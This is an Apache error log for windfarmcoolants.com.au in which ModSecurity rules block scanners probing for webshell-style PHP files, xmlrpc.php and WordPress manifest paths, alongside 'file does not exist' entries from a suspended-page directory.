[Thu May 07 08:35:45.450091 2026] [:error] [pid 56065:tid 56102] [client 20.104.207.18:53393] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/99.php"] [unique_id "afveYXdV4hYThdnhfxCpNQAAAIY"]
[Thu May 07 08:35:46.262745 2026] [:error] [pid 56150:tid 56158] [client 20.104.207.18:49655] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "afveYtu4duXJJeTigXTZvQAAAEY"]
[Thu May 07 08:35:46.854760 2026] [:error] [pid 56066:tid 56147] [client 20.104.207.18:41221] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "afveYkYS8DGwDvklLv5xwgAAANg"]
[Thu May 07 08:35:47.438335 2026] [:error] [pid 56150:tid 56165] [client 20.104.207.18:49549] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "afveY9u4duXJJeTigXTZzwAAAE0"]
[Thu May 07 08:35:48.105275 2026] [:error] [pid 56064:tid 56087] [client 20.104.207.18:49630] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "afveZCsGkZZUEf_7QCP7gwAAABI"]
[Thu May 07 08:35:48.596726 2026] [:error] [pid 56150:tid 56163] [client 20.104.207.18:53377] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "afveZNu4duXJJeTigXTZ0gAAAEs"]
[Thu May 07 08:35:49.132559 2026] [:error] [pid 56150:tid 56153] [client 20.104.207.18:53488] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "afveZdu4duXJJeTigXTZ1gAAAEE"]
[Thu May 07 08:35:49.848031 2026] [:error] [pid 56150:tid 56157] [client 20.104.207.18:53378] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "afveZdu4duXJJeTigXTZ2gAAAEU"]
[Thu May 07 08:35:50.330294 2026] [:error] [pid 56150:tid 56167] [client 20.104.207.18:49536] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "afveZtu4duXJJeTigXTZ3AAAAE8"]
[Thu May 07 08:35:50.997366 2026] [:error] [pid 56065:tid 56105] [client 20.104.207.18:49566] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "afveZndV4hYThdnhfxCpOQAAAIk"]
[Thu May 07 08:35:51.755508 2026] [:error] [pid 56064:tid 56078] [client 20.104.207.18:49538] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "afveZysGkZZUEf_7QCP7jwAAAAk"]
[Thu May 07 08:35:52.589000 2026] [:error] [pid 56150:tid 56174] [client 20.104.207.18:49641] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "afveaNu4duXJJeTigXTZ5gAAAFY"]
[Thu May 07 08:35:53.673548 2026] [:error] [pid 56065:tid 56098] [client 20.104.207.18:41270] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "afveaXdV4hYThdnhfxCpQwAAAII"]
[Thu May 07 08:35:55.793410 2026] [:error] [pid 56150:tid 56152] [client 20.104.207.18:53379] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "afvea9u4duXJJeTigXTZ6wAAAEA"]
[Thu May 07 08:35:57.773626 2026] [:error] [pid 56066:tid 56133] [client 20.104.207.18:49539] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "afvebUYS8DGwDvklLv5x3gAAAMo"]
[Thu May 07 08:35:59.211165 2026] [:error] [pid 56065:tid 56117] [client 20.104.207.18:41284] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "afveb3dV4hYThdnhfxCpSAAAAJU"]
[Thu May 07 08:36:00.197055 2026] [:error] [pid 56066:tid 56135] [client 20.104.207.18:41307] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/insta.php"] [unique_id "afvecEYS8DGwDvklLv5x4wAAAMw"]
[Thu May 07 08:36:01.004175 2026] [:error] [pid 56064:tid 56073] [client 20.104.207.18:41315] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "afvecSsGkZZUEf_7QCP7mAAAAAQ"]
[Thu May 07 08:36:01.645786 2026] [:error] [pid 56064:tid 56083] [client 20.104.207.18:41282] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "afvecSsGkZZUEf_7QCP7mgAAAA4"]
[Thu May 07 08:36:02.401756 2026] [:error] [pid 56064:tid 56069] [client 20.104.207.18:41259] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "afvecisGkZZUEf_7QCP7mwAAAAA"]
[Thu May 07 08:36:03.399576 2026] [:error] [pid 56066:tid 56147] [client 20.104.207.18:49546] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/simple.php"] [unique_id "afvec0YS8DGwDvklLv5x6wAAANg"]
[Thu May 07 08:36:04.030808 2026] [:error] [pid 56150:tid 56166] [client 20.104.207.18:49613] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "afvedNu4duXJJeTigXTZ_AAAAE4"]
[Thu May 07 08:36:04.623961 2026] [:error] [pid 56065:tid 56103] [client 20.104.207.18:41298] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "afvedHdV4hYThdnhfxCpVgAAAIc"]
[Thu May 07 08:36:05.718794 2026] [:error] [pid 56150:tid 56172] [client 20.104.207.18:41304] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "afveddu4duXJJeTigXTaEAAAAFQ"]
[Thu May 07 08:36:06.285162 2026] [:error] [pid 56066:tid 56139] [client 20.104.207.18:41285] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws81.php"] [unique_id "afvedkYS8DGwDvklLv5yAAAAANA"]
[Thu May 07 08:36:07.110073 2026] [:error] [pid 56066:tid 56127] [client 20.104.207.18:49564] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "afved0YS8DGwDvklLv5yBAAAAMQ"]
[Thu May 07 08:36:07.666914 2026] [:error] [pid 56150:tid 56162] [client 20.104.207.18:53493] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "afved9u4duXJJeTigXTaIwAAAEo"]
[Thu May 07 08:36:08.264193 2026] [:error] [pid 56064:tid 56090] [client 20.104.207.18:63558] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "afveeCsGkZZUEf_7QCP7xgAAABU"]
[Thu May 07 08:36:08.996906 2026] [:error] [pid 56066:tid 56136] [client 20.104.207.18:49647] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "afveeEYS8DGwDvklLv5yBwAAAM0"]
[Thu May 07 08:36:09.559295 2026] [:error] [pid 56064:tid 56082] [client 20.104.207.18:53403] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfile25.php"] [unique_id "afveeSsGkZZUEf_7QCP7xwAAAA0"]
[Thu May 07 08:36:10.112838 2026] [:error] [pid 56066:tid 56124] [client 20.104.207.18:63559] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfile25.php"] [unique_id "afveekYS8DGwDvklLv5yCQAAAME"]
[Thu May 07 08:36:10.554071 2026] [:error] [pid 56066:tid 56142] [client 20.104.207.18:49638] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfile25.php"] [unique_id "afveekYS8DGwDvklLv5yCwAAANM"]
[Thu May 07 08:36:11.261118 2026] [:error] [pid 56150:tid 56161] [client 20.104.207.18:38851] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xfile25.php"] [unique_id "afvee9u4duXJJeTigXTaKgAAAEk"]
[Thu May 07 09:31:17.128611 2026] [:error] [pid 56065:tid 56115] [client 104.174.73.201:53185] [client 104.174.73.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.174.73.201, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afvrZXdV4hYThdnhfxC69QAAAJM"]
[Thu May 07 09:31:17.134441 2026] [:error] [pid 56065:tid 56115] [client 104.174.73.201:53185] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu May 07 12:50:17.530122 2026] [:error] [pid 56056:tid 56185] [client 172.202.28.4:3528] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Thu May 07 12:50:17.766766 2026] [:error] [pid 56056:tid 56058] [client 172.202.28.4:3528] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Thu May 07 12:50:17.989729 2026] [:error] [pid 56056:tid 56067] [client 172.202.28.4:3528] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Thu May 07 12:50:18.212513 2026] [:error] [pid 56056:tid 56178] [client 172.202.28.4:3528] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Thu May 07 12:50:18.436066 2026] [:error] [pid 56056:tid 56182] [client 172.202.28.4:3528] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Thu May 07 12:50:18.675364 2026] [:error] [pid 56056:tid 56063] [client 172.202.28.4:3528] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Thu May 07 12:50:19.121525 2026] [:error] [pid 56056:tid 56189] [client 172.202.28.4:3528] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Thu May 07 12:50:19.344493 2026] [:error] [pid 56056:tid 56186] [client 172.202.28.4:3528] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Thu May 07 12:50:19.569171 2026] [:error] [pid 56056:tid 56179] [client 172.202.28.4:3528] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Thu May 07 12:50:19.792009 2026] [:error] [pid 56056:tid 56122] [client 172.202.28.4:3528] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Thu May 07 12:50:20.011709 2026] [:error] [pid 56056:tid 56180] [client 172.202.28.4:3528] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "afwaDAMt_VAuBmZ2nR9cigAAAU4"]
[Thu May 07 12:50:20.823830 2026] [:error] [pid 56065:tid 56102] [client 172.202.28.4:3252] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "afwaDHdV4hYThdnhfxDhFwAAAIY"]
[Thu May 07 12:50:21.671330 2026] [:error] [pid 56066:tid 56130] [client 172.202.28.4:3217] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "afwaDUYS8DGwDvklLv65lQAAAMc"]
[Thu May 07 12:50:22.535776 2026] [:error] [pid 56056:tid 56151] [client 172.202.28.4:3169] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "afwaDgMt_VAuBmZ2nR9cjAAAAUs"]
[Thu May 07 15:16:36.628622 2026] [:error] [pid 15715:tid 15731] [client 206.189.36.189:58380] [client 206.189.36.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.189.36.189, incrementing ddos counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afw8VCY4dZsLOttMkcdb1QAAAQs"], referer: https://winchesterbrewtrail.com//wp-login.php
[Thu May 07 15:16:36.633382 2026] [:error] [pid 15715:tid 15731] [client 206.189.36.189:58380] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php, referer: https://winchesterbrewtrail.com//wp-login.php
[Thu May 07 15:16:40.840639 2026] [:error] [pid 15715:tid 15725] [client 206.189.36.189:58380] [client 206.189.36.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blog/robots.txt"] [unique_id "afw8WCY4dZsLOttMkcdb5QAAAQg"], referer: https://winchesterbrewtrail.com//wp-login.php
[Thu May 07 15:16:41.370118 2026] [:error] [pid 15715:tid 15720] [client 206.189.36.189:61840] [client 206.189.36.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/blog/"] [unique_id "afw8WSY4dZsLOttMkcdb5gAAAQM"], referer: https://winchesterbrewtrail.com//wp-login.php
[Thu May 07 15:16:41.818936 2026] [:error] [pid 15715:tid 15730] [client 206.189.36.189:49530] [client 206.189.36.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wordpress/"] [unique_id "afw8WSY4dZsLOttMkcdb6QAAAQo"], referer: https://winchesterbrewtrail.com//wp-login.php
[Thu May 07 15:16:43.412847 2026] [:error] [pid 15631:tid 15706] [client 206.189.36.189:64466] [client 206.189.36.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp/"] [unique_id "afw8W3vP1GkPUuuLfqUKygAAANM"], referer: https://winchesterbrewtrail.com//wp-login.php
[Thu May 07 18:10:23.293160 2026] [:error] [pid 15715:tid 15734] [client 34.150.161.155:63004] [client 34.150.161.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.150.161.155, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "afxlDyY4dZsLOttMkceGbgAAAQ4"]
[Thu May 07 18:10:23.296862 2026] [:error] [pid 15715:tid 15734] [client 34.150.161.155:63004] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Thu May 07 18:10:23.550414 2026] [:error] [pid 15715:tid 15735] [client 34.150.161.155:63004] [client 34.150.161.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "afxlDyY4dZsLOttMkceGcAAAAQ8"]
[Thu May 07 18:10:24.577635 2026] [:error] [pid 15631:tid 15692] [client 34.150.161.155:63840] [client 34.150.161.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "afxlEHvP1GkPUuuLfqUqOAAAAMU"]
[Thu May 07 18:10:25.471772 2026] [:error] [pid 15715:tid 15721] [client 34.150.161.155:58616] [client 34.150.161.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "afxlESY4dZsLOttMkceGegAAAQQ"]
[Thu May 07 18:10:26.549561 2026] [:error] [pid 15630:tid 15669] [client 34.150.161.155:58041] [client 34.150.161.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "afxlEnTithRAi4821qulaAAAAIk"]
[Thu May 07 18:10:27.754371 2026] [:error] [pid 15630:tid 15660] [client 34.150.161.155:62355] [client 34.150.161.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "afxlE3TithRAi4821qulbQAAAIA"]
[Thu May 07 18:10:28.518167 2026] [:error] [pid 15630:tid 15679] [client 34.150.161.155:64021] [client 34.150.161.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "afxlFHTithRAi4821qulcQAAAJM"]
[Thu May 07 18:10:29.019697 2026] [:error] [pid 15715:tid 15725] [client 34.150.161.155:56943] [client 34.150.161.155] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "afxlFSY4dZsLOttMkceGfAAAAQg"]
[Thu May 07 18:33:58.918489 2026] [:error] [pid 15630:tid 15663] [client 85.137.48.160:47728] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
